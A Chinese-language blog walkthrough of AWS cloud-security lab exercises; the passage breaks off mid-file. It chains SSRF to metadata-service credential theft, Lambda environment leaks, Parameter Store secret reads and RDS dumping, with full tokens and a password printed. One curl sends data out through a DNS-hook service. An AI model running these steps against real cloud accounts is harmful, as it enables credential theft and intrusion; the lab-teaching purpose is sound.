AWS 服務

  • IAM: 權限控管
  • EC2: VM
  • ECS: Container
  • S3: 存檔案用的

IMDS (執行個體中繼資料服務):

Recall from AIS3 好厲駭 - Cloud Security 筆記 | R3X’s Blog

Lab 1.1

題目:Lab 1.1: EC2 Metadata Exposure | 竹狐 Web

網站是一個 Fetcher。

取得 IAM 角色名稱

curl http://3.235.1.178/preview?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/
# role-ec2-1

取得 IAM 角色的暫時憑證

curl http://3.235.1.178/preview?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/role-ec2-1

輸出

{
  "Code" : "Success",
  "LastUpdated" : "2026-10-03T01:30:31Z",
  "Type" : "AWS-HMAC",
  "AccessKeyId" : "ASIA2FGZF7I3NJISL26J",
  "SecretAccessKey" : "Pe/RZE4LyYOzFkCLzyc28jpgJwmv2VtTjgrXBLZu",
  "Token" : "IQoJb3JpZ2luX2VjENr//////////wEaCXVzLWVhc3QtMSJHMEUCIQDaW5o5tC/hbV6hEelIfu/zldUagg2MpBIXrRTyGFwUyQIgZJzM4k2G40NKdUsFgqS0nVBkLSGFDY3dua6WVVJFKAwqwwUIo///////////ARAAGgw2OTgzODc2NTkzMTgiDOAAbo6w3jtQthfL7SqXBe9kB81lxcZH8kFfNVEboH/Pd1Kw2s+wFbGDqQfX0zdDErVb4FoZdjsdjCYTdpD8PGy4RroGvd/u8eeRUtbGkRrQ5xe9MkUPhgQN4/XuiH/Ior38bYqzmnZxMvdvV8vTnMN8f/+wfAu2UD1oxtGJOqhB63clMhvdNiyPHSKUyr9rm14InY3wUZx1cAXZNaEf4x/y6Hah6KYXRqV1lZeoneg2O9xmofwJb5JmNhPsvVKZt6iHXLGRfeqJudmb+aylDnieaDikNipf/7nvQphax/s4tdqw0PAq7uIhED91r7WR+4qrC1bo9ksKcdNWmz2i6ALf6qYTclyMUHmDKNydTTsv7iI6uE8etYwUXqaJEUOaeteFGZvfAelB4h6yZL1NktYuZoLNfhTICjQN03mnvAzvnotH3g/n3GKHTKpTVaDN6ysgCx6WYLtGfTFn5KAuOXLxHNXGUq4r1VZW2OPVShVW+HHqmjsBJadkjJJcL5bl3pBB+bG7oZyefC65Il3tmTmLD273/V2VQFXf7SSEDmcR9k62AyNiPL56ccIIZetk4eeZJc4QDYJwNl3sUHMkYze3H2/EBgfew4uE9ke4JO+FiBhV78Wy7l5oEsy9kSy5XkYHQiNivxgHuUtXJkaiLfJGGMJs57tt4d4oCrES+wWLixQYjJw1bLk1RgVVTPgWL2GUGt1MpyHxNDhk8gp4iTg4hnUQvu5kZR6qtPbtNDjmgKpoNeHAdUxROK/GXr2SUUkkEJBjxVaIvbxXNKrOM4MxaS9vW85pMnYdnYHse/UFFcQa94IhRDabzlrcMQZCokkHyMV6QN97dypUOOlFKrJo8kwdG/1J0CxB8lfeLu+SWUR39QNNBHUOLDSrUpz+M480BvrtxTCwtYHWBjqxARgI8Z2ZO492Zy2tOwj5fQbVKahnbGRxd53msvH8KlQRqvrwsgB+hBlJV84cau/TKC9BdLvTRE+CytOVuOCLHFhc90rHR9jU7lRWZP5j1YWlsQee2sjWjoP7PvDXiXgXa7yT61ojZ87F0RqlH/OJdr7jbp1Rm4j272xdJPNAZlvF7Fyz0uHAIWubt820/yAXBN8ICijFA7Sqk1IUdjTe1liyTBNon6giCuGBCh/DmypgyQ==",
  "Expiration" : "2026-10-03T07:53:09Z"
}

將拿到的暫時憑證設定成環境變數,以使用 AWS CLI。

export AWS_ACCESS_KEY_ID=ASIA2FGZF7I3NJISL26J
export AWS_SECRET_ACCESS_KEY=Pe/RZE4LyYOzFkCLzyc28jpgJwmv2VtTjgrXBLZu
export AWS_SESSION_TOKEN=IQoJb3JpZ2luX2VjENr//////////wEaCXVzLWVhc3QtMSJHMEUCIQDaW5o5tC/hbV6hEelIfu/zldUagg2MpBIXrRTyGFwUyQIgZJzM4k2G40NKdUsFgqS0nVBkLSGFDY3dua6WVVJFKAwqwwUIo///////////ARAAGgw2OTgzODc2NTkzMTgiDOAAbo6w3jtQthfL7SqXBe9kB81lxcZH8kFfNVEboH/Pd1Kw2s+wFbGDqQfX0zdDErVb4FoZdjsdjCYTdpD8PGy4RroGvd/u8eeRUtbGkRrQ5xe9MkUPhgQN4/XuiH/Ior38bYqzmnZxMvdvV8vTnMN8f/+wfAu2UD1oxtGJOqhB63clMhvdNiyPHSKUyr9rm14InY3wUZx1cAXZNaEf4x/y6Hah6KYXRqV1lZeoneg2O9xmofwJb5JmNhPsvVKZt6iHXLGRfeqJudmb+aylDnieaDikNipf/7nvQphax/s4tdqw0PAq7uIhED91r7WR+4qrC1bo9ksKcdNWmz2i6ALf6qYTclyMUHmDKNydTTsv7iI6uE8etYwUXqaJEUOaeteFGZvfAelB4h6yZL1NktYuZoLNfhTICjQN03mnvAzvnotH3g/n3GKHTKpTVaDN6ysgCx6WYLtGfTFn5KAuOXLxHNXGUq4r1VZW2OPVShVW+HHqmjsBJadkjJJcL5bl3pBB+bG7oZyefC65Il3tmTmLD273/V2VQFXf7SSEDmcR9k62AyNiPL56ccIIZetk4eeZJc4QDYJwNl3sUHMkYze3H2/EBgfew4uE9ke4JO+FiBhV78Wy7l5oEsy9kSy5XkYHQiNivxgHuUtXJkaiLfJGGMJs57tt4d4oCrES+wWLixQYjJw1bLk1RgVVTPgWL2GUGt1MpyHxNDhk8gp4iTg4hnUQvu5kZR6qtPbtNDjmgKpoNeHAdUxROK/GXr2SUUkkEJBjxVaIvbxXNKrOM4MxaS9vW85pMnYdnYHse/UFFcQa94IhRDabzlrcMQZCokkHyMV6QN97dypUOOlFKrJo8kwdG/1J0CxB8lfeLu+SWUR39QNNBHUOLDSrUpz+M480BvrtxTCwtYHWBjqxARgI8Z2ZO492Zy2tOwj5fQbVKahnbGRxd53msvH8KlQRqvrwsgB+hBlJV84cau/TKC9BdLvTRE+CytOVuOCLHFhc90rHR9jU7lRWZP5j1YWlsQee2sjWjoP7PvDXiXgXa7yT61ojZ87F0RqlH/OJdr7jbp1Rm4j272xdJPNAZlvF7Fyz0uHAIWubt820/yAXBN8ICijFA7Sqk1IUdjTe1liyTBNon6giCuGBCh/DmypgyQ==
export AWS_REGION=us-east-1

取得 EC2 的 Instance ID

curl http://3.235.1.178/preview?url=http://169.254.169.254/latest/meta-data/instance-id
# i-08d34995dd774ef78

在開 Session 之前,我們需要先安裝 Session Manager Plugin。

# Guide: https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-linux-overview.html
curl "https://s3.amazonaws.com/session-manager-downloads/plugin/latest/ubuntu_64bit/session-manager-plugin.deb" -o "session-manager-plugin.deb"
sudo dpkg -i session-manager-plugin.deb

開啟 Session

aws ssm start-session --target "i-08d34995dd774ef78"

開完後會進入機器,用以下指令取的 flag:

cat /opt/flag.txt
# flag{lab1_1_ec2_imds_ssrf_pivot}

Flag: flag{lab1_1_ec2_imds_ssrf_pivot}

Policy

  • Inline policy: 綁在單一物件上
  • Managed policy: 可以綁在多個物件上
  • Boundary policy: 可以限制 Managed policy 的權限

先放個 Cheet Sheet 在這裡

aws sts get-caller-identity
aws iam get-role --role-name <role-name>

# Inline policies
aws iam list-role-policies --role-name <role-name>
aws iam get-role-policy --role-name <role-name> --policy-name <policy-name>

# Managed policies
aws iam list-attached-role-policies --role-name <role-name>
aws iam get-policy --policy-arn <arn-from-above>
aws iam get-policy-version --policy-arn <arn> --version-id v1

來時做看看吧!

讀取 role-ec2-1 的 Policy:

aws iam list-role-policies --role-name role-ec2-1
# {
#     "PolicyNames": [
#         "ec2-1-deny-parameter-reads",
#         "ec2-1-pivot"
#     ]
# }

讀取 ec2-1-pivot 的詳細資料:

aws iam get-role-policy --role-name role-ec2-1 --policy-name ec2-1-pivot
{
    "RoleName": "role-ec2-1",
    "PolicyName": "ec2-1-pivot",
    "PolicyDocument": {
        "Version": "2012-10-17",
        "Statement": [
            {
                "Action": "ssm:StartSession",
                "Effect": "Allow",
                "Resource": [
                    "arn:aws:ec2:us-east-1:698387659318:instance/i-08d34995dd774ef78",
                    "arn:aws:ssm:us-east-1:698387659318:document/SSM-SessionManagerRunShell"
                ],
                "Sid": "StartSessionOnSelf"
            },
            {
                "Action": [
                    "ssm:TerminateSession",
                    "ssm:ResumeSession"
                ],
                "Condition": {
                    "StringEquals": {
                        "ssm:resourceTag/aws:ssmmessages:session-id": "${aws:userid}",
                        "ssm:resourceTag/aws:ssmmessages:target-id": "i-08d34995dd774ef78"
                    }
                },
                "Effect": "Allow",
                "Resource": "arn:aws:ssm:us-east-1:698387659318:session/*",
                "Sid": "ManageOwnLabSessions"
            },
            {
                "Action": [
                    "ssm:DescribeSessions",
                    "ssm:DescribeInstanceInformation",
                    "ec2:DescribeInstances"
                ],
                "Effect": "Allow",
                "Resource": "*",
                "Sid": "DescribeInstancesAndSessions"
            },
            {
                "Action": "lambda:InvokeFunction",
                "Effect": "Allow",
                "Resource": "arn:aws:lambda:us-east-1:698387659318:function:lambda-func-1",
                "Sid": "InvokeLambdaFunc1"
            }
        ]
    }
}

AWS Lambda

傳統 Server Amazon EC2 AWS Lambda
Code Code Code
OS / Runtime OS / Runtime AWS 管理
硬體 AWS 管理 AWS 管理

Lab 1.2

題目:Lab 1.2 — Enumerate role-ec2-1 → find lambda-func-1 | 竹狐 Web

列出所有 Lambda Function:

aws lambda list-functions

只列出 FunctionName 欄位:

aws lambda list-functions --query 'Functions[].FunctionName' --output text
# lambda-func-1   myHelloWorldFunc

欲取得該 Lambda Function 的詳細資訊:

aws lambda get-function --function-name lambda-func-1

看 Location 欄位,這是 Code 的載點,以下指令能直接取出該欄位傳給 wget,並將檔案儲存為 lambda-func-1.zip。

aws lambda get-function --function-name lambda-func-1 --query 'Code.Location' --output text
unzip lambda-func-1.zip
# Archive:  lambda-func-1.zip
#   inflating: handler.py

cat handler.py
import os

# =====================================================================
# Internal reporting helper for the orders service.
#
#   flag{lab1_2_lambda_code_disclosure}
#
# Lab 1.4 recon -- this function reads from the orders database:
#     host  : env DB_HOST
#     dbname: env DB_NAME   (labdb)
#     creds : SSM Parameter Store parameter named in env DB_CREDS_PARAM
#             (JSON with username/password; read it with ssm:GetParameter)
# =====================================================================


def handler(event, context):
    # TODO: remove this debug branch before prod -- it dumps the full
    # environment, including the function's own IAM credentials.
    return {"environment": dict(os.environ)}

這個 Lambda Function 的程式碼是自己吐出環境變數w

Flag: flag{lab1_2_lambda_code_disclosure}

Lab 1.3

題目:Lab 1.3 — Invoke the function → leak env → lambda-role-2 | 竹狐 Web

觸發 Lambda Function,並將結果輸出到 output.txt,再用 cat 讀取。

aws lambda invoke --function-name lambda-func-1 output.txt; cat output.txt
{"environment": {"AWS_LAMBDA_FUNCTION_VERSION": "$LATEST", "AWS_EXECUTION_ENV": "AWS_Lambda_python3.12", "DB_CREDS_PARAM": "/lab1/awssec-lab1/db/creds", "AWS_LAMBDA_METADATA_TOKEN": "fa54bed4-7243-49ef-8ac8-835debe70449", "AWS_DEFAULT_REGION": "us-east-1", "AWS_LAMBDA_LOG_STREAM_NAME": "2026/10/03/[$LATEST]833888cc793e4df6b70b3b6abdec9cd9", "AWS_REGION": "us-east-1", "PWD": "/var/task", "_HANDLER": "handler.handler", "TZ": ":UTC", "LAMBDA_TASK_ROOT": "/var/task", "LANG": "en_US.UTF-8", "AWS_SECRET_ACCESS_KEY": "9zPVlsmBW2h8xOl7be9qi7Bs6a5mDW9GJVlKAsaC", "AWS_LAMBDA_LOG_GROUP_NAME": "/aws/lambda/lambda-func-1", "FLAG": "flag{lab1_3_lambda_env_credential_leak}", "AWS_LAMBDA_RUNTIME_API": "169.254.100.1:9001", "AWS_LAMBDA_METADATA_API": "169.254.100.1:9001", "AWS_LAMBDA_FUNCTION_MEMORY_SIZE": "128", "LAMBDA_RUNTIME_DIR": "/var/runtime", "DB_HOST": "awssec-lab1-db.cybqwo0s4hm2.us-east-1.rds.amazonaws.com", "_AWS_XRAY_DAEMON_ADDRESS": "169.254.100.1", "AWS_XRAY_DAEMON_ADDRESS": "169.254.100.1:2000", "SHLVL": "0", "AWS_ACCESS_KEY_ID": "ASIA2FGZF7I3BBX3VFK2", "LD_LIBRARY_PATH": "/var/lang/lib:/lib64:/usr/lib64:/var/runtime:/var/runtime/lib:/var/task:/var/task/lib:/opt/lib", "DB_NAME": "labdb", "AWS_LAMBDA_FUNCTION_NAME": "lambda-func-1", "PATH": "/var/lang/bin:/usr/local/bin:/usr/bin/:/bin:/opt/bin", "AWS_LAMBDA_INITIALIZATION_TYPE": "on-demand", "AWS_SESSION_TOKEN": "IQoJb3JpZ2luX2VjENv//////////wEaCXVzLWVhc3QtMSJGMEQCIHOyzvOHcGNfS3ZiNRtrk98Fza63gaYE7wz8kNSAH+ldAiAibBkzD0FpN8LERywvzAcmj7yE0wL66ijdQJUr7HmdlCrpAwik//////////8BEAAaDDY5ODM4NzY1OTMxOCIM2pwWvjCEZFKe55Y1Kr0D7oNFr6CpEd9j+3qJl7P4mhVonogXWKksJwsph8dLxd3/xsSvSjlYX9tYRIeXb4lkAAzFs+rpCKQCQU0iH6WeB5W0a4L+JSz34ZoLszCt62jnqb9ZnU2M6ZoNjt25Lh2SBJTEI11Uy30iQpDYo8E24675xs/gNi9rEAZ5fbtlzfc3o0sqzmG91MtfGG9Yh4PpJeNeElDjoJ8dZJ8KCuRoFDnhJAirI+/HaKSiRMudoQOxXJnDnXhxoJ7PS0b5EjbJndwkWEJ6Kh99Gta2ZROB1EAkkTKuxWE/Lf/Ftfv9q6gvXfifcb6acVJqG11kHlT2MLATz/w/lDCCc3zp3sFQAoqJcVdCTCXAzCjP32G3I0Pcqbk4iHq+vio416VPhrlDbOKwt0xeWVPoxcNLKNvsZ4wkrSHFPk20LUTbHy5yxDtDtuW1yLIiC96DwIktlRLOLXAWRMoKJsFgHXc15zhO7x4+n459gcK1Of/8o5pj1ieFDUldUq7Au8f2AWaxDlygmJUq+P1zuOQZHJ/ngukyidXuxWrP2rJSInc67lFX9q5F9fsQsvUcbMyE9g8/ddb2RbwOR989+2UKAujgCjCg4YHWBjqiAezxWpv3Ead8HBgTHWJ1w+66kRgXwWOAduHKzijXoTYtkiuBLy2p0WZpbsV775G74rBgsdvFbv5C2sJHgyKYKnCBRxk1K8c9Km2nKJ+o7GIINdy6/Hsjz39l4T41iXRd3pkuxxSzR5CnziEq5OB0onzgLtTQOrytgO6b4Y4qLrP3a58vgvynM/80CdbQbD1BBtzGxaa2dah6LgQ69frpoyzrrA==", "AWS_XRAY_CONTEXT_MISSING": "LOG_ERROR", "_AWS_XRAY_DAEMON_PORT": "2000", "PYTHONPATH": "/var/runtime", "_X_AMZN_TRACE_ID": "Root=1-6ac07725-74baaf2d55e4cf557ab5d9a3;Parent=227037a5e616462d;Sampled=0;Lineage=1:1d6a787d:0"}}% 

Flag: flag{lab1_3_lambda_env_credential_leak}

Lab 1.4

題目:Lab 1.4 — lambda-role-2 → read DB creds → loot RDS | 竹狐 Web

注意到在 Lab 1.3 Leak 出來的環境變數中,有 AWS_ACCESS_KEY_ID、AWS_SECRET_ACCESS_KEY 和 AWS_SESSION_TOKEN,也就是 Lambda 底下也有綁一個 Role,所以我們又能拿到一個 Role。

接著就跟之前一樣!

export AWS_ACCESS_KEY_ID=ASIA2FGZF7I3BBX3VFK2
export AWS_SECRET_ACCESS_KEY=9zPVlsmBW2h8xOl7be9qi7Bs6a5mDW9GJVlKAsaC
export AWS_SESSION_TOKEN=IQoJb3JpZ2luX2VjENv//////////wEaCXVzLWVhc3QtMSJGMEQCIHOyzvOHcGNfS3ZiNRtrk98Fza63gaYE7wz8kNSAH+ldAiAibBkzD0FpN8LERywvzAcmj7yE0wL66ijdQJUr7HmdlCrpAwik//////////8BEAAaDDY5ODM4NzY1OTMxOCIM2pwWvjCEZFKe55Y1Kr0D7oNFr6CpEd9j+3qJl7P4mhVonogXWKksJwsph8dLxd3/xsSvSjlYX9tYRIeXb4lkAAzFs+rpCKQCQU0iH6WeB5W0a4L+JSz34ZoLszCt62jnqb9ZnU2M6ZoNjt25Lh2SBJTEI11Uy30iQpDYo8E24675xs/gNi9rEAZ5fbtlzfc3o0sqzmG91MtfGG9Yh4PpJeNeElDjoJ8dZJ8KCuRoFDnhJAirI+/HaKSiRMudoQOxXJnDnXhxoJ7PS0b5EjbJndwkWEJ6Kh99Gta2ZROB1EAkkTKuxWE/Lf/Ftfv9q6gvXfifcb6acVJqG11kHlT2MLATz/w/lDCCc3zp3sFQAoqJcVdCTCXAzCjP32G3I0Pcqbk4iHq+vio416VPhrlDbOKwt0xeWVPoxcNLKNvsZ4wkrSHFPk20LUTbHy5yxDtDtuW1yLIiC96DwIktlRLOLXAWRMoKJsFgHXc15zhO7x4+n459gcK1Of/8o5pj1ieFDUldUq7Au8f2AWaxDlygmJUq+P1zuOQZHJ/ngukyidXuxWrP2rJSInc67lFX9q5F9fsQsvUcbMyE9g8/ddb2RbwOR989+2UKAujgCjCg4YHWBjqiAezxWpv3Ead8HBgTHWJ1w+66kRgXwWOAduHKzijXoTYtkiuBLy2p0WZpbsV775G74rBgsdvFbv5C2sJHgyKYKnCBRxk1K8c9Km2nKJ+o7GIINdy6/Hsjz39l4T41iXRd3pkuxxSzR5CnziEq5OB0onzgLtTQOrytgO6b4Y4qLrP3a58vgvynM/80CdbQbD1BBtzGxaa2dah6LgQ69frpoyzrrA==
export AWS_REGION=us-east-1
aws sts get-caller-identity
{
    "UserId": "AROA2FGZF7I3NC3GDBCWE:lambda-func-1",
    "Account": "698387659318",
    "Arn": "arn:aws:sts::698387659318:assumed-role/lambda-role-2/lambda-func-1"
}

我們現在是 lambda-role-2。嘗試查看他有什麼權限:

aws iam list-role-policies --role-name lambda-role-2

但發現 lambda-role-2 沒有查看自己權限的權限。那怎麼辦?那就 Just Do It 行就行不行就不行!我們使用自動化工具:shabarkin/aws-enumerator

aws-enumerator enum -services all
aws-enumerator dump -services DYNAMODB

發現有 dynamodb:DescribeEndpoints 的權限,猜測後面可能有 DB 可以連。

從 Lambda Function 取得的環境變數中可以看到有這兩個:

"DB_HOST": "awssec-lab1-db.cybqwo0s4hm2.us-east-1.rds.amazonaws.com",
"DB_CREDS_PARAM": "/lab1/awssec-lab1/db/creds",
aws ssm get-parameter --name /lab1/awssec-lab1/db/creds --with-decryption
{
    "Parameter": {
        "Name": "/lab1/awssec-lab1/db/creds",
        "Type": "String",
        "Value": "{\"dbname\":\"labdb\",\"password\":\"vptAfae0d7xYwxiMVngF\",\"username\":\"admin\"}",
        "Version": 1,
        "LastModifiedDate": "2026-10-03T08:51:40.325000+08:00",
        "ARN": "arn:aws:ssm:us-east-1:698387659318:parameter/lab1/awssec-lab1/db/creds",
        "DataType": "text"
    }
}

用 mysql 連線到 RDS:

mysql -h awssec-lab1-db.cybqwo0s4hm2.us-east-1.rds.amazonaws.com -u admin -p
# Enter password: vptAfae0d7xYwxiMVngF
USE labdb;
SELECT * FROM secrets;
+----+--------+------------------------------------------+
| id | name   | value                                    |
+----+--------+------------------------------------------+
|  1 | lab1.4 | flag{lab1_4_rds_lateral_via_lambda_role} |
|  3 | ncku   | 到此一遊                                  |
+----+--------+------------------------------------------+
2 rows in set (0.23 sec)

Flag: flag{lab1_4_rds_lateral_via_lambda_role}

lab1-4

AWS 網路

  • VPC (Virtual Private Cloud):虛擬網路,裡面可以放 EC2、RDS、Lambda 等服務
  • 防火牆
    • Network ACL:綁在 Subnet 上,同個 Subnet 互傳不會擋
    • Security Group:綁在 EC2 上,出 VM 就會作用到

Security Group 有很多例外規則:

  • DNS
  • IMDS

所以就算 Security Group ALL deny,也無法擋住出去的 DNS 請求。
而且 IMDS 會跟 EC2 放在同一個內網,所以 Network ACL 也擋不住 IMDS 的請求。

Lab 2

Lab 2.1

題目:Lab 2.1 — LFI → SSRF → steal ecs-role-3 → pull image → source flag | 竹狐 Web

題目網站ㄧ樣是一個 Fetcher,但有防火牆(只允許出去 443)。

題外話:
根據先前說的 DNS 擋不掉,可以去 webhook.site 拿一個 DNS 網址,然後

curl http://44.192.63.112:8080/?url=http://PUT_ANYTHINGHERE.9f4cbbcd-8bf3-4a24-a805-b342dac8628a.dnshook.site

這可以用來偷東西出來

打 http://169.254.169.254 會被擋住,不過我們記得 ECS 也有 IMDS:http://169.254.170.2

先用 file 協議讀出環境變數:

curl http://44.192.63.112:8080/\?url\=file:///proc/self/environ --output -
LAB_IMAGE=698387659318.dkr.ecr.us-east-1.amazonaws.com/awssec-lab2-app@sha256:3ef16f61c9527e951a2305cc1a8b79831d3c4843bdad8aacb58990690c54790bPHP_INI_DIR=/usr/local/etc/phpHOSTNAME=ip-10-60-0-122.ec2.internalSHLVL=1HOME=/PHP_LDFLAGS=-Wl,-O1 -pieAWS_CONTAINER_CREDENTIALS_RELATIVE_URI=/v2/credentials/d859e1d6-4ae8-4caf-ab7b-b7dd635f27adPHP_CFLAGS=-fstack-protector-strong -fpic -fpie -O2 -D_LARGEFILE_SOURCE -D_FILE_OFFSET_BITS=64AWS_EXECUTION_ENV=AWS_ECS_FARGATEPHP_VERSION=8.4.26LAB_TARGET_INSTANCE=i-0f9f6e3b35c494fe7GPG_KEYS=AFD8691FDAEDF03BDF6E460563F15A9B715376CA 9D7F99A0CB8F05C8A6958D6256A97AF7600A39A6 0616E93D95AF471243E26761770426E17EBBB3DDECS_AGENT_URI=http://169.254.170.2/api/441fabc2367845a1854623fe05357fa1-3256819748PHP_CPPFLAGS=-fstack-protector-strong -fpic -fpie -O2 -D_LARGEFILE_SOURCE -D_FILE_OFFSET_BITS=64PHP_ASC_URL=https://www.php.net/distributions/php-8.4.26.tar.xz.ascAWS_DEFAULT_REGION=us-east-1PHP_URL=https://www.php.net/distributions/php-8.4.26.tar.xzECS_CONTAINER_METADATA_URI_V4=http://169.254.170.2/v4/441fabc2367845a1854623fe05357fa1-3256819748ECS_CONTAINER_METADATA_URI=http://169.254.170.2/v3/441fabc2367845a1854623fe05357fa1-3256819748PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binAWS_REGION=us-east-1PHPIZE_DEPS=autoconf           dpkg-dev dpkg           file            g++             gcc             libc-dev         make             pkgconf                 re2cPWD=/appPHP_SHA256=32a2de53862ad44ed4a5005244ce4f1b50c271e74dced215449a4443b40569f1

可以看到 AWS_CONTAINER_CREDENTIALS_RELATIVE_URI,所以我們可以去拿到 ECS 的暫時憑證。
同時可以看到 LAB_IMAGE=698387659318.dkr.ecr.us-east-1.amazonaws.com/awssec-lab2-app@sha256:3ef16f61c9527e951a2305cc1a8b79831d3c4843bdad8aacb58990690c54790b,我們等等可以試著把他拉下來。

curl 'http://44.192.63.112:8080/?url=http://169.254.170.2/v2/credentials/d859e1d6-4ae8-4caf-ab7b-b7dd635f27ad'
{"RoleArn":"arn:aws:iam::698387659318:role/awssec-lab2-ecs-role-3","AccessKeyId":"ASIA2FGZF7I3FYEIX5E2","SecretAccessKey":"EWgq5DAbzJUdbCSB776V4FHredqdktsxaf1Iotu2","Token":"IQoJb3JpZ2luX2VjEN7//////////wEaCXVzLWVhc3QtMSJHMEUCIBTcWIJ5PqhrowKx4BJRwwzZoIX6W858hGlq4qB70fQjAiEAwUudr39KYx3w1gYApNRiXM3N+zlYYhtwdwgB5uCKsw4q9gMIp///////////ARAAGgw2OTgzODc2NTkzMTgiDJEwxLkloaGPp0GjOCrKA9etok0+o35OromEBM42LiKrTznsZjbyTU+EoU4wIvaBLAONo3AYDbB2l6sI+XwhV+vKxPWxk8PuQRC4z0tm5T0eMNOaSnra8OU9JSHGWyNO+TKIn9cJWPeXspD99ujXFgTYmTQboEfZsP+97MH3+yoDN+mN/D8VXpfVDNXVogXtZOK7mlbdi1M6+x3H6cj/H9hV4uSA0l9IJQQAAoaPZWl04ObhKvdyOXQc5PdIFvrAHLp3uHkNEwlKvQa9UwhaaQLX3xw7zE/WBm/YSSPj7CPjJvJ6+oSb57/CNB7b3w5WDj50VTlNUmfq19Z1T7lXPBqMFQs+6mu6jElg7vzaYDqlzX7AhKRx6ZdwhKamBBKBXsxlUN6EuudeRdsP6jDvEIMqQNWuxryR9H56bu3+zUBAdSYyGhHaBSpKZiJq2DtqXZI4ZC8RdWwO2bSJqYNYOiCk2bLjo8UAk0GuTadRw2kUHDWVOesenha47V/aN0oaYW5UzkxMXAoT3uzc7JcXFwIcB1n0L32u2s5IxHenglEnExLPeifV11CiNGzg2o09UFdCVelnKgkjAckdyRZslGE9KknK3kd09bC4dO/VUM34vzNzdwM5rORZMJ+vgtYGOqUBKO1a6T0O9IluCAVBiBIGOqUlpHDOLYUsgMggFAgdnnFfv/3jZGgFKdxUcFpTcCfcahOHvAnFr1RpstQ/0R415l7UR4app/BOoF6HnLcmuGpClPvt3QjQjm9uvbzGbAPGZbR7JKTfQ49A7UkUfCCtEA2ZND0VL9LUMq0yG0poCNwn/8rwLqlV2IkXl81V4z+zA7sAs1I7NobzxHBSu0pI+Oc2ZcdP","Expiration":"2026-10-03T11:50:23Z"}

依舊

export AWS_ACCESS_KEY_ID=ASIA2FGZF7I3FYEIX5E2
export AWS_SECRET_ACCESS_KEY=EWgq5DAbzJUdbCSB776V4FHredqdktsxaf1Iotu2
export AWS_SESSION_TOKEN=IQoJb3JpZ2luX2VjEN7//////////wEaCXVzLWVhc3QtMSJHMEUCIBTcWIJ5PqhrowKx4BJRwwzZoIX6W858hGlq4qB70fQjAiEAwUudr39KYx3w1gYApNRiXM3N+zlYYhtwdwgB5uCKsw4q9gMIp///////////ARAAGgw2OTgzODc2NTkzMTgiDJEwxLkloaGPp0GjOCrKA9etok0+o35OromEBM42LiKrTznsZjbyTU+EoU4wIvaBLAONo3AYDbB2l6sI+XwhV+vKxPWxk8PuQRC4z0tm5T0eMNOaSnra8OU9JSHGWyNO+TKIn9cJWPeXspD99ujXFgTYmTQboEfZsP+97MH3+yoDN+mN/D8VXpfVDNXVogXtZOK7mlbdi1M6+x3H6cj/H9hV4uSA0l9IJQQAAoaPZWl04ObhKvdyOXQc5PdIFvrAHLp3uHkNEwlKvQa9UwhaaQLX3xw7zE/WBm/YSSPj7CPjJvJ6+oSb57/CNB7b3w5WDj50VTlNUmfq19Z1T7lXPBqMFQs+6mu6jElg7vzaYDqlzX7AhKRx6ZdwhKamBBKBXsxlUN6EuudeRdsP6jDvEIMqQNWuxryR9H56bu3+zUBAdSYyGhHaBSpKZiJq2DtqXZI4ZC8RdWwO2bSJqYNYOiCk2bLjo8UAk0GuTadRw2kUHDWVOesenha47V/aN0oaYW5UzkxMXAoT3uzc7JcXFwIcB1n0L32u2s5IxHenglEnExLPeifV11CiNGzg2o09UFdCVelnKgkjAckdyRZslGE9KknK3kd09bC4dO/VUM34vzNzdwM5rORZMJ+vgtYGOqUBKO1a6T0O9IluCAVBiBIGOqUlpHDOLYUsgMggFAgdnnFfv/3jZGgFKdxUcFpTcCfcahOHvAnFr1RpstQ/0R415l7UR4app/BOoF6HnLcmuGpClPvt3QjQjm9uvbzGbAPGZbR7JKTfQ49A7UkUfCCtEA2ZND0VL9LUMq0yG0poCNwn/8rwLqlV2IkXl81V4z+zA7sAs1I7NobzxHBSu0pI+Oc2ZcdP
export AWS_REGION=us-east-1

可以回去翻一下 前面的 Cheet Sheet

aws sts get-caller-identity

得知 Role Name 是 awssec-lab2-ecs-role-3

aws iam list-role-policies --role-name awssec-lab2-ecs-role-3

得知有 terraform-20261003004008782800000002 這個 Inline Policy

aws iam get-role-policy --role-name awssec-lab2-ecs-role-3 --policy-name terraform-20261003004008782800000002
{
    "RoleName": "awssec-lab2-ecs-role-3",
    "PolicyName": "terraform-20261003004008782800000002",
    "PolicyDocument": {
        "Version": "2012-10-17",
        "Statement": [
            {
                "Action": [
                    "ecr:GetAuthorizationToken"
                ],
                "Effect": "Allow",
                "Resource": "*"
            },
            {
                "Action": [
                    "ecr:BatchCheckLayerAvailability",
                    "ecr:GetDownloadUrlForLayer",
                    "ecr:BatchGetImage"
                ],
                "Effect": "Allow",
                "Resource": "arn:aws:ecr:us-east-1:698387659318:repository/awssec-lab2-app"
            },
            {
                "Action": [
                    "iam:GetRole",
                    "iam:ListRolePolicies",
                    "iam:GetRolePolicy"
                ],
                "Effect": "Allow",
                "Resource": "arn:aws:iam::698387659318:role/awssec-lab2-ecs-role-3"
            }
        ]
    }
}

特別注意有 ECR 相關的權限。ECR 是 AWS 的容器管理服務。因為我們有 ecr:GetAuthorizationToken 的權限,所以我們可以去登入 ECR,並把 Image 拉下來。

aws ecr get-login-password | docker login --username AWS --password-stdin 698387659318.dkr.ecr.us-east-1.amazonaws.com/awssec-lab2-app/
# Login Succeeded

接著就可以拉下來了:

docker pull 698387659318.dkr.ecr.us-east-1.amazonaws.com/awssec-lab2-app@sha256:3ef16f61c9527e951a2305cc1a8b79831d3c4843bdad8aacb58990690c54790b
docker run -it --rm 698387659318.dkr.ecr.us-east-1.amazonaws.com/awssec-lab2-app@sha256:3ef16f61c9527e951a2305cc1a8b79831d3c4843bdad8aacb58990690c54790b /bin/sh
ls
# deployment_fixture.py  public
cat deployment_fixture.py
deployment_fixture.py
"""Deployment helper baked into the training image during a rushed release. This file is COPYed into the container image, so anyone who can pull the image (or read the container filesystem) gets everything in it. The source flag and the hardcoded user-4 deploy credentials below are exposed for exactly that reason: a value is not private just because the web UI never prints it. The @@...@@ markers are replaced at `docker build` time from Terraform-managed build arguments (see the Dockerfile). With no build arguments supplied the image is built with the non-functional AWS example key, which is fine for local builds and tests but will not authenticate. """ SOURCE_FLAG = "flag{lab2_1_container_images_contain_source}" # Hardcoded long-lived credentials for the user-4 IAM user. Never do this. USER_NAME = "user-4" AWS_ACCESS_KEY_ID = 